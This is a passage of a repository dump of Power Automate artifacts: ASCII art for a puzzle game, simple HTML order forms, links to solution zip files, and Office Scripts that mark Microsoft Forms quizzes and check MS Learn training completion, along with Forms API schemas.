⠀⠀⠈⢻⣿⣦⡀⠀⠀⢰⡟⠉⢿⣤⣼⠀⠀⣠⣴⣾⡿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠻⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠇⣠⣿ 20 | ⠀⠀⠀⠀⠈⠿⣿⣶⣦⣌⣣⣴⣿⣤⣿⣾⣿⡿⠟⠉⠀⠀⠀⠀⠙⠲⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠿⣷⣦⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣶⣿⠿⠟⠃ 21 | ⠀⠀⠀⠐⠶⠄⣀⣉⣛⣛⠛⠛⠛⠛⠋⠉⠀⠀⠀⠀⠀⢀⣀⣀⣠⠴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⠲⠦⠤⠄⠀⠀⠈⠉⠛⠛⠿⠿⠿⠿⠿⠿⠿⠿⠛⠛⠉⠀⠀⠀⠀⠀ 22 | ⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠛⠒⠒⠛⠛⠛⠋⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 23 | 24 | -------------------------------------------------------------------------------- /Power Automate Artifacts/Canyon Escape/lamp.txt: -------------------------------------------------------------------------------- 1 | ___!___ 2 | / | \ 3 | / | \ 4 | / | \ 5 | /______|______\ 6 | \ )|( / 7 | \ ( | ) / 8 | \ =|= / 9 | \__|__/ 10 | ,,, 11 | ,;;;;;, 12 | '-===;;( );;===-' 13 | `<>o<>' 14 | //"\\ 15 | |/| |\| 16 | | | 17 | | | 18 | | | 19 | | | 20 | lc| -------------------------------------------------------------------------------- /Power Automate Artifacts/Canyon Escape/map.txt: -------------------------------------------------------------------------------- 1 | x\ \ \ * \ \ \ \ x 2 | x| | | ? | d | ? x 3 | x x 4 | x| | ? | x 5 | x| ? d | x 6 | x? --------? ----x 7 | x| ? | | | ? x 8 | x d ? | ? ? x 9 | x| | | ? ? x 10 | x* \ \ \ \ \ \ \ x -------------------------------------------------------------------------------- /Power Automate Artifacts/Canyon Escape/pilots journal.txt: -------------------------------------------------------------------------------- 1 | 4+ 5 × 32 – 2 -------------------------------------------------------------------------------- /Power Automate Artifacts/Canyon Escape/rope.txt: -------------------------------------------------------------------------------- 1 | \\// 2 | // 3 | //\\ 4 | \\// 5 | // 6 | //\\ 7 | \\// 8 | // 9 | //\\ 10 | \\// 11 | // 12 | //\\ 13 | \\// 14 | // 15 | //\\ 16 | \\// 17 | // 18 | //\\ 19 | \\// 20 | // 21 | //\\ 22 | \\// 23 | // 24 | //\\ 25 | \\// 26 | // 27 | //\\ 28 | \\// 29 | // 30 | //\\ 31 | \\// 32 | // 33 | //\\ 34 | \\// 35 | // 36 | //\\ 37 | THE ROPE 38 | -------------------------------------------------------------------------------- /Power Automate Artifacts/Canyon Escape/skull key.txt: -------------------------------------------------------------------------------- 1 | ....... ..... ....... ....... ...... ...... 2 | ....... .... ....... ..... ....... ..... 3 | .... ...... ...... .. 4 | ..... .... .. ..... 5 | ...... ...... ...:-===-. .... 6 | ...... .. ...... .=@@@@@@@@@@@@#:... 7 | ...... ...... ...... ....:#@@@@@@@@@@@@@@@@@=. ... 8 | ...... ....... ....... .....+@@@@@@@@@@@@@@@@@@@@@+. ..... 9 | ....... ...... ...... .....+@@@@@@@@@@@@@@@@@@@@@@@%-. ....... 10 | ..... ...... ...... .......-@@@@@@@@@@@@@@@@@@@@@@@@@@*...... 11 | .. ....... .... ....::=%@@@%@@@@@@@@@@@@@@@@@@@@@@@@#... 12 | ....... ....-%@@@@+:. .:#@@@@@@@@@@@@@@@@@@@@@@+. 13 | . .... ...:%@@@@- .=@@@@@@@@@@@@@@@@@@@@@%: 14 | . ...... .*@@@@: ....-@@@@@@@@@@@@@@@@@@@@@- ... 15 | .... ...... .=@@@%: ......:@@@@@@@@@@@@@@@@@@@@@- .... 16 | ...... ...... ..... #@@@@#-....+@@@@@@@@@@@@@@@@@@@@@%: ...... 17 | ...... ...... ...... *@@@@@@@@@@@@@@@+.:*@@@@@@@@@@@@@@+ ...... 18 | ....... ...... ..... .*@@@@@@@@%#*@@@#: ...:%@@@@@@@@@@*. ...... 19 | ...... ...... ....... .#@@@@@*:. =@@+ ......+@@@@@@@@+ ....... 20 | ....... .... ...... .%@@@@%=.. .#@@#...... :@@@@@@*:....... 21 | ...... ...... .#@@@@@%:.=@@@@*... ..#@@@*: .... 22 | ... ... .... .:#@@@@@@@@@@@@@@@@#---+@@%: 23 | ...... .....*@@@@@@@@@@@@@@@@@@@@@@@@@: ... 24 | ...... .....+@@@@@@@@--#@@@@@@=::#@@@@@+...... 25 | ....... ..... .....=@@@@@@@@+.....:+=. .:+*=....... . 26 | ...... ....... ......-%@@@@@@@*. ...... ....... ..... 27 | ...... ..... .....:#@@@@@@@*: ....... ...... ....... 28 | ..... ...... .....#@@@@@@@%: ..... ....... ...... 29 | .. ...... ....*@@@@@@@%- ....... ..... ...... 30 | ...... .=@@@@@@@@=. ...... .... ....... 31 | .. .... .=@@@@@@@@+. ..... ....... 32 | ... .....:%@@@@@@@*. .. ..... .... 33 | . ... ......:#@@@@@@@#: ..... .. 34 | ..... .....*@@@@@@@%-..... ....... .... 35 | ....... ......+@@@@@@@@-. ..... ....... ..... ..... 36 | ..... .....=@@@@@@@@+........ ....... ....... ....... 37 | ....... .....-%@@@@@@@*. ...... ....... ....... ....... 38 | ...... ...:#@@@@@@@%: ....... ..... ....... ........ 39 | ...... .#@@@@@@@@@@@-.... .. ....... .... 40 | ... ... ..+@@@@@@@@@@@@@@%-. ...... 41 | .....=@@@@@@@@@@@@@@@@@@#: .... .... 42 | ......=@@@@@@@@@@@@@@@@@@@@@@*. ..... .... 43 | .:=. .....:%@@@@@@@@@@@@@@@@@@@@@@@@*. ....... .... ....... 44 | .:-. .....:#@@@@@@@@@@@@@@+. .*@@@@@@=........ ...... ...... .... 45 | .:-. .....*@@@@@@@@@@@@@@%.. :*@@+........ ....... ....... ....... 46 | .:-. .....+@@@@@@@@@@@@@@@@@+. ........... ....... ...... ....... 47 | .:-. ...:%@@@@@@@+.#@@@@@@@@@%-. ..... ...... ....... ........ 48 | .:-. -@@@@@@*. ..:#@@@@@@@@@#. .. ....... ..... ....... 49 | .:-. .-#@@*: ....-%@@@@@@@-. ...... ....... 50 | ..-. .-@@@@=..... .... ..... 51 | .:-. .-=........ ..... . 52 | ..-. .... ....... .... ....... ... 53 | .:-. ...... ...... ...... ...... ..... .... 54 | ..-. ...... ........ ...... ...... ....... ....... 55 | .. ...... ....... ....... ....... ...... ...... 56 | -------------------------------------------------------------------------------- /Power Automate Artifacts/ChangeConnections_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/ChangeConnections_1_0_0_1.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/Custom Form/CustomForm_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/Custom Form/CustomForm_1_0_0_1.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/Custom Form/custom form.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |

HTML Forms

6 | 7 |
8 | 9 |
10 | 11 | 12 | 13 |
14 |
15 | 16 | 17 |
18 |
19 | 20 | 21 |
22 |
23 | 24 | 25 |
26 |
27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /Power Automate Artifacts/Custom Form/fancy custom form.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |
4 |
5 |

Order Form

6 |
7 |
8 | 9 | 10 |
11 |
12 |
13 | 14 | 15 |
16 |
17 | 18 | 19 |
20 |
21 |
22 |
23 |
24 | 38 |
39 | 42 |
43 |
44 |
45 | -------------------------------------------------------------------------------- /Power Automate Artifacts/Custom Form/simple custom form file.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |

Order Form

5 |
6 |
7 | 8 |

9 | 10 |

11 | 12 |

13 |

14 | 15 |
16 |

Click on the submit button, and the form will be submittied using the POST method.

17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /Power Automate Artifacts/Custom Form/simple custom form.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |

The form method="post" attribute

5 |
6 | 7 |

8 | 9 |

10 | 11 |

12 | 13 |
14 |

Click on the submit button, and the form will be submittied using the POST method.

15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /Power Automate Artifacts/EditZippedFile_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/EditZippedFile_1_0_0_1.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/Exam Marker/Exam Marker.osts: -------------------------------------------------------------------------------- 1 | {"version":"0.2.0","body":"\n\nfunction main(workbook: ExcelScript.Workbook, aQuestions: intQuestions[], oAnswers: intResponse, iPassScore: number) {\n\n const aAnswers: intAnswers[] = JSON.parse(oAnswers.answers) // convert anwers striing to array\n let data: intQuestScoring[] = []; // new array to pass back each question, answer, points and if passed\n let bCorrectAnswer: boolean; // for each question flag to see if correct\n let iPoints: number = 0 //total points avaialble for test\n let iPoint: number; // points per question \n let iTotalPoints: number = 0; // total points scored\n let sCorrect: string; //correct answer\n\n aQuestions.forEach((item, i, arr) => {\n const sAnswer = aAnswers.find(q => (q.questionId == item.id)).answer1\n if (item.type == \"Question.Choice\") {\n const oQuestInfo: intquestionInfo_Choices = JSON.parse(item.questionInfo);\n const aChoice: intChoices[] = oQuestInfo.Choices;\n const aCorrect: intChoices[] = aChoice.filter(a => (a.IsAnswerKey))\n sCorrect = JSON.stringify(aCorrect);\n\n if (oQuestInfo.ChoiceType == 1) {\n bCorrectAnswer = sAnswer == aCorrect[0].Description;\n } else {\n const aMulitAnswer: [] = JSON.parse(sAnswer)\n const aFindCorrect = aCorrect.filter(a => {\n return sAnswer.includes(a.Description)\n })\n bCorrectAnswer = (aFindCorrect.length == aCorrect.length) && (aCorrect.length == aMulitAnswer.length);\n }\n\n if (bCorrectAnswer) {\n iPoints += oQuestInfo.Point\n iPoint = oQuestInfo.Point;\n } else {\n iPoint = 0;\n }\n iTotalPoints += oQuestInfo.Point;\n }\n\n if (item.type == \"Question.TextField\") {\n const oQuestInfo: intquestionInfo_Text = JSON.parse(item.questionInfo);\n if (oQuestInfo.hasOwnProperty('GradingBasis')) {\n sCorrect = oQuestInfo.GradingBasis;\n const aCorrect: intGradingBasis[] = JSON.parse(sCorrect)\n const aFindCorrect = aCorrect.filter(a => {\n return a.answer == sAnswer\n })\n bCorrectAnswer = aFindCorrect.length > 0\n\n if (bCorrectAnswer) {\n iPoints += oQuestInfo.Point\n iPoint = oQuestInfo.Point;\n } else {\n iPoint = 0;\n }\n\n if (oQuestInfo.Point) {\n iTotalPoints += oQuestInfo.Point;\n }\n }\n }\n\n data.push({\n id: item.id,\n questionInfo: sCorrect,\n type: item.type,\n answer: sAnswer,\n points: iPoint,\n correct: bCorrectAnswer\n })\n })\n\n const oReturn: intReturn = {\n pass: iPoints >= iPassScore, //have they passed\n points: iPoints, //points scored\n passPoints: iPassScore, // required points to pass\n totalPoints: iTotalPoints, // total available points\n data: data // array of answers and correct answers for validation\n }\n \n return (oReturn)\n}\n\ninterface intQuestions {\n id: string,\n questionInfo: string,\n type: string\n}\n\ninterface intResponse {\n id: number,\n responder: string,\n submitDate: string,\n answers: string,\n responderName: string\n}\n\ninterface intQuestScoring {\n id: string,\n questionInfo: string,\n type: string,\n points: number,\n correct: boolean,\n answer: string\n}\n\ninterface intReturn {\n pass: boolean,\n points: number,\n passPoints: number,\n totalPoints: number,\n data: intQuestScoring[]\n}\n\ninterface intAnswers {\n answer1: string,\n questionId: string\n}\n\ninterface intquestionInfo_Choices {\n Choices: intChoices[],\n ChoiceType: number,\n AllowOtherAnswer: boolean,\n OptionDisplayStyle: string,\n ChoiceRestrictionType: string,\n ShowRatingLabel: boolean,\n Point: number\n}\n\ninterface intChoices {\n Description: string;\n FormsProDisplayRTText: string,\n IsAnswerKey: boolean\n}\n\ninterface intquestionInfo_Text {\n Multiline: boolean,\n ShowRatingLabel: boolean,\n Point: number,\n GradingBasis: string\n}\n\ninterface intGradingBasis {\n answer: string,\n questionId: string\n}\n","description":"","parameterInfo":"{\"version\":1,\"originalParameterOrder\":[{\"name\":\"aQuestions\",\"index\":0},{\"name\":\"oAnswers\",\"index\":1},{\"name\":\"iPassScore\",\"index\":2}],\"parameterSchema\":{\"type\":\"object\",\"required\":[\"aQuestions\",\"oAnswers\",\"iPassScore\"],\"properties\":{\"aQuestions\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"string\"},\"questionInfo\":{\"type\":\"string\"},\"type\":{\"type\":\"string\"}}}},\"oAnswers\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"number\"},\"responder\":{\"type\":\"string\"},\"submitDate\":{\"type\":\"string\"},\"answers\":{\"type\":\"string\"},\"responderName\":{\"type\":\"string\"}}},\"iPassScore\":{\"type\":\"number\"}}},\"returnSchema\":{\"type\":\"object\",\"properties\":{\"result\":{\"type\":\"object\",\"properties\":{\"pass\":{\"type\":\"boolean\"},\"points\":{\"type\":\"number\"},\"passPoints\":{\"type\":\"number\"},\"totalPoints\":{\"type\":\"number\"},\"data\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"string\"},\"questionInfo\":{\"type\":\"string\"},\"type\":{\"type\":\"string\"},\"points\":{\"type\":\"number\"},\"correct\":{\"type\":\"boolean\"},\"answer\":{\"type\":\"string\"}}}}}}}},\"signature\":{\"comment\":\"\",\"parameters\":[{\"name\":\"workbook\",\"comment\":\"\"},{\"name\":\"aQuestions\",\"comment\":\"\"},{\"name\":\"oAnswers\",\"comment\":\"\"},{\"name\":\"iPassScore\",\"comment\":\"\"}]}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"} -------------------------------------------------------------------------------- /Power Automate Artifacts/Exam Marker/ExamMarker_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/Exam Marker/ExamMarker_1_0_0_1.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/Exam Marker/ms forms questions schema.json: -------------------------------------------------------------------------------- 1 | { 2 | "type": "object", 3 | "properties": { 4 | "@@odata.context": { 5 | "type": "string", 6 | "description":"https://forms.office.com/formapi/api/{tenantID}}/users/{userID}/forms('{formID}')/questions(questionInfo,type,id)" 7 | }, 8 | "value": { 9 | "type": "array", 10 | "items": { 11 | "type": "object", 12 | "properties": { 13 | "id": { 14 | "type": "string" 15 | }, 16 | "type": { 17 | "type": "string", 18 | "enum":["Question.TextField","Question.Choice","Question.Date","Question.Ranking","Question.MatrixChoice","Question.MatrixChoice","Question.NPS"] 19 | }, 20 | "questionInfo": { 21 | "type": "object", 22 | "anyOf": [ 23 | { 24 | "description":"Question.TextField", 25 | "type":"object", 26 | "properties":{ 27 | "Multiline":{ 28 | "type":"boolean" 29 | }, 30 | "ShowRatingLabel":{ 31 | "type":"boolean" 32 | }, 33 | "Point":{ 34 | "type":"integer" 35 | }, 36 | "GradingBasis":{ 37 | "type": "array", 38 | "items": { 39 | "type":"object", 40 | "properties":{ 41 | "answer": { 42 | "type": "string" 43 | }, 44 | "questionid": { 45 | "type": "string", 46 | "description":"Only if answer set else not returned" 47 | } 48 | } 49 | } 50 | } 51 | } 52 | }, 53 | { 54 | "description":"Question.Choices", 55 | "type":"object", 56 | "properties":{ 57 | "ChoiceType":{ 58 | "type":"integer", 59 | "enum":[1,2] 60 | }, 61 | "AllowOtherAnswer":{ 62 | "type":"boolean" 63 | }, 64 | "OptionDisplayStyle":{ 65 | "type":"string" 66 | }, 67 | "ShuffleOptions":{ 68 | "type":"boolean" 69 | }, 70 | "ShowRatingLabel":{ 71 | "type":"boolean" 72 | }, 73 | "Point":{ 74 | "type":"integer" 75 | }, 76 | "Choices":{ 77 | "type": "array", 78 | "items": { 79 | "type":"object", 80 | "properties":{ 81 | "Description": { 82 | "type": "string" 83 | }, 84 | "FormsProDisplayRTText": { 85 | "type": "string" 86 | }, 87 | "IsAnswerKey": { 88 | "type": "boolean" 89 | } 90 | } 91 | } 92 | } 93 | } 94 | }, 95 | { 96 | "description":"Question.Date", 97 | "type":"object", 98 | "items":{ 99 | "properties":{ 100 | "Date":{ 101 | "type":"boolean" 102 | }, 103 | "Time":{ 104 | "type":"boolean" 105 | }, 106 | "ShuffleOptions":{ 107 | "type":"boolean" 108 | }, 109 | "ShowRatingLabel":{ 110 | "type":"boolean" 111 | }, 112 | "Point":{ 113 | "type":"integer" 114 | }, 115 | "IsMathQuiz":{ 116 | "type":"boolean" 117 | } 118 | } 119 | } 120 | }, 121 | { 122 | "description":"Question.Ranking", 123 | "type":"object", 124 | "items":{ 125 | "GradingBasis":{ 126 | "type":"array", 127 | "items": { 128 | "type": "string" 129 | } 130 | } 131 | }, 132 | "ShuffleOptions":{ 133 | "type":"boolean" 134 | }, 135 | "ShowRatingLabel":{ 136 | "type":"boolean" 137 | }, 138 | "Point":{ 139 | "type":"integer" 140 | }, 141 | "IsMathQuiz":{ 142 | "type":"boolean" 143 | } 144 | }, 145 | { 146 | "description":"Question.NPS", 147 | "type":"object", 148 | "items":{ 149 | "properties":{ 150 | "LeftDescription":{ 151 | "type":"string" 152 | }, 153 | "RightDescription":{ 154 | "type":"string" 155 | }, 156 | "ShuffleOptions":{ 157 | "type":"boolean" 158 | }, 159 | "ShowRatingLabel":{ 160 | "type":"boolean" 161 | }, 162 | "Point":{ 163 | "type":"integer" 164 | }, 165 | "IsMathQuiz":{ 166 | "type":"boolean" 167 | } 168 | } 169 | } 170 | } 171 | ] 172 | } 173 | } 174 | } 175 | } 176 | } 177 | } 178 | 179 | 180 | 181 | 182 | -------------------------------------------------------------------------------- /Power Automate Artifacts/Exam Marker/ms forms responses schema.json: -------------------------------------------------------------------------------- 1 | { 2 | "type": "object", 3 | "properties": { 4 | "@@odata.context": { 5 | "type": "string", 6 | "description":"https://forms.office.com/formapi/api/{tenantID}}/users/{userID}/forms('{formID}')/responses?$select=id,responder,submitDate,answers,responderName" 7 | }, 8 | "value": { 9 | "type": "array", 10 | "items": { 11 | "id": { 12 | "type":"integer" 13 | }, 14 | "startDate": { 15 | "type":"string", 16 | "format": "date-time" 17 | }, 18 | "submitDate":{ 19 | "type":"string", 20 | "format": "date-time" 21 | }, 22 | "responder": { 23 | "type":"string", 24 | "format": "email" 25 | }, 26 | "responderName": { 27 | "type":"string" 28 | }, 29 | "answers":{ 30 | "type":"array", 31 | "items":{ 32 | "answer1":{ 33 | "anyOf": [ 34 | { 35 | "type":"string" 36 | }, 37 | { 38 | "array":{ 39 | "type":"string" 40 | } 41 | } 42 | ] 43 | }, 44 | "questionId":{ 45 | "type":"string" 46 | } 47 | } 48 | }, 49 | "releaseDate": { 50 | "type":"string", 51 | "format": "date-time" 52 | } 53 | } 54 | } 55 | } 56 | } -------------------------------------------------------------------------------- /Power Automate Artifacts/ExceptionGenerator_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/ExceptionGenerator_1_0_0_1.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/MissingDependencies_1_0_0_1_managed.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/MissingDependencies_1_0_0_1_managed.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/MoveFlowstoDataverse_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/MoveFlowstoDataverse_1_0_0_1.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/PipeLine_PoC.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/PipeLine_PoC.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/PlatformTools_1_0_0_2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/PlatformTools_1_0_0_2.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/ProcessCSV_1_0_0_1_managed.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/ProcessCSV_1_0_0_1_managed.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/ReadHTMLTable_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/ReadHTMLTable_1_0_0_1.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/SuperSwtich_1_0_0_1-1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/SuperSwtich_1_0_0_1-1.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/UnprotectExcel_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/UnprotectExcel_1_0_0_1.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/UpdateSPNSecret_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/UpdateSPNSecret_1_0_0_1.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/UpdateSPNSecret_1_0_0_2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/UpdateSPNSecret_1_0_0_2.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/XML_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/XML_1_0_0_1.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/ms learn/MSLearnChecker_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/ms learn/MSLearnChecker_1_0_0_1.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/ms learn/Power Platform Training (4).osts: -------------------------------------------------------------------------------- 1 | {"version":"0.2.0","body":"\nfunction main(\n workbook: ExcelScript.Workbook,\n aModules: intModules[],\n aCerts: intCertificates[],\n aRequiredModules: intCollection[],\n aRequiredCerts: intRequired[],\n aRequiredSkills: intRequired[],\n aSkills: intAppliedSkills[]\n ) {\n\n let oReturn: intReturn;\n\n try {\n //create arrays\n let aRequired: intCollData[] = [];\n let aMissing: intCollData[] = [];\n\n //loop over all sections in collection\n aRequiredModules.forEach(section => {\n //loop over all modules in section\n section.items.forEach(item => {\n //to to required seperate arry to make debugging easier\n aRequired.push(item.data\n )\n })\n })\n\n //loop over required array\n aRequired.forEach(item => {\n //if cant find requred module in transcript add to missign array\n if (!aModules.find(m => (m.uid == item.uid))){\n aMissing.push(item);\n } \n })\n\n //loop over rerquired certificates, if cant find in transcript add to missing array\n aRequiredCerts.forEach(item =>{\n if (!aCerts.find(c => (c.name == item.title))) {\n aMissing.push({\n rawUrl: \"\",\n uid: \"\",\n title: item.title,\n name: \"\"\n });\n } \n })\n\n//loop over rerquired applied skills, if cant find in transcript add to missing array\n aRequiredSkills.forEach(item => {\n if (!aSkills.find(skill => (skill.title == item.title))) {\n aMissing.push({\n rawUrl: \"\",\n uid: \"\",\n title: item.title,\n name: \"\"\n });\n }\n })\n \n //return object\n oReturn = {\n outcome: aMissing.length == 0,\n message: \"\",\n data: aMissing\n\n }\n return oReturn\n\n } catch (err) {\n let sError = JSON.stringify(err)\n \n oReturn = {\n outcome: false,\n message: JSON.stringify(err),\n data: []\n\n }\n }finally{\n return oReturn\n }\n\n}\n\ninterface intReturn {\n outcome: boolean,\n message: string,\n data: intCollData[]\n}\n\ninterface intCollection {\n id: string,\n listId: string,\n name: string,\n userId: string,\n description: string,\n items: {\n id: string,\n listId: string,\n type: string,\n data: intCollData\n }[]\n}\n\ninterface intCollData {\n rawUrl: string,\n uid: string,\n title: string,\n name: string\n}\n\ninterface intModules {\n uid: string,\n title: string,\n description: string,\n durationInMinutes: number,\n completedOn: string\n}\n\ninterface intCertificates {\n name: string,\n certificationNumber: string,\n status: string,\n dateEarned: string,\n expiration: string\n}\n\ninterface intAppliedSkills {\n credentialId: string,\n title: string,\n awardedOn: string\n}\n\ninterface intRequired{\n title:string\n}\n","description":"","parameterInfo":"{\"version\":1,\"originalParameterOrder\":[{\"name\":\"aModules\",\"index\":0},{\"name\":\"aCerts\",\"index\":1},{\"name\":\"aRequiredModules\",\"index\":2},{\"name\":\"aRequiredCerts\",\"index\":3},{\"name\":\"aRequiredSkills\",\"index\":4},{\"name\":\"aSkills\",\"index\":5}],\"parameterSchema\":{\"type\":\"object\",\"required\":[\"aModules\",\"aCerts\",\"aRequiredModules\",\"aRequiredCerts\",\"aRequiredSkills\",\"aSkills\"],\"properties\":{\"aModules\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"uid\":{\"type\":\"string\"},\"title\":{\"type\":\"string\"},\"description\":{\"type\":\"string\"},\"durationInMinutes\":{\"type\":\"number\"},\"completedOn\":{\"type\":\"string\"}}}},\"aCerts\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"name\":{\"type\":\"string\"},\"certificationNumber\":{\"type\":\"string\"},\"status\":{\"type\":\"string\"},\"dateEarned\":{\"type\":\"string\"},\"expiration\":{\"type\":\"string\"}}}},\"aRequiredModules\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"string\"},\"listId\":{\"type\":\"string\"},\"name\":{\"type\":\"string\"},\"userId\":{\"type\":\"string\"},\"description\":{\"type\":\"string\"},\"items\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"string\"},\"listId\":{\"type\":\"string\"},\"type\":{\"type\":\"string\"},\"data\":{\"type\":\"object\",\"properties\":{\"rawUrl\":{\"type\":\"string\"},\"uid\":{\"type\":\"string\"},\"title\":{\"type\":\"string\"},\"name\":{\"type\":\"string\"}}}}}}}}},\"aRequiredCerts\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"title\":{\"type\":\"string\"}}}},\"aRequiredSkills\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"title\":{\"type\":\"string\"}}}},\"aSkills\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"credentialId\":{\"type\":\"string\"},\"title\":{\"type\":\"string\"},\"awardedOn\":{\"type\":\"string\"}}}}}},\"returnSchema\":{\"type\":\"object\",\"properties\":{\"result\":{\"type\":\"object\",\"properties\":{\"outcome\":{\"type\":\"boolean\"},\"message\":{\"type\":\"string\"},\"data\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"rawUrl\":{\"type\":\"string\"},\"uid\":{\"type\":\"string\"},\"title\":{\"type\":\"string\"},\"name\":{\"type\":\"string\"}}}}}}}},\"signature\":{\"comment\":\"\",\"parameters\":[{\"name\":\"workbook\",\"comment\":\"\"},{\"name\":\"aModules\",\"comment\":\"\"},{\"name\":\"aCerts\",\"comment\":\"\"},{\"name\":\"aRequiredModules\",\"comment\":\"\"},{\"name\":\"aRequiredCerts\",\"comment\":\"\"},{\"name\":\"aRequiredSkills\",\"comment\":\"\"},{\"name\":\"aSkills\",\"comment\":\"\"}]}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"} -------------------------------------------------------------------------------- /Power Automate Artifacts/wordle/PowerWordle_1_0_0_2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/wordle/PowerWordle_1_0_0_2.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/wordle/power platform words.txt: -------------------------------------------------------------------------------- 1 | 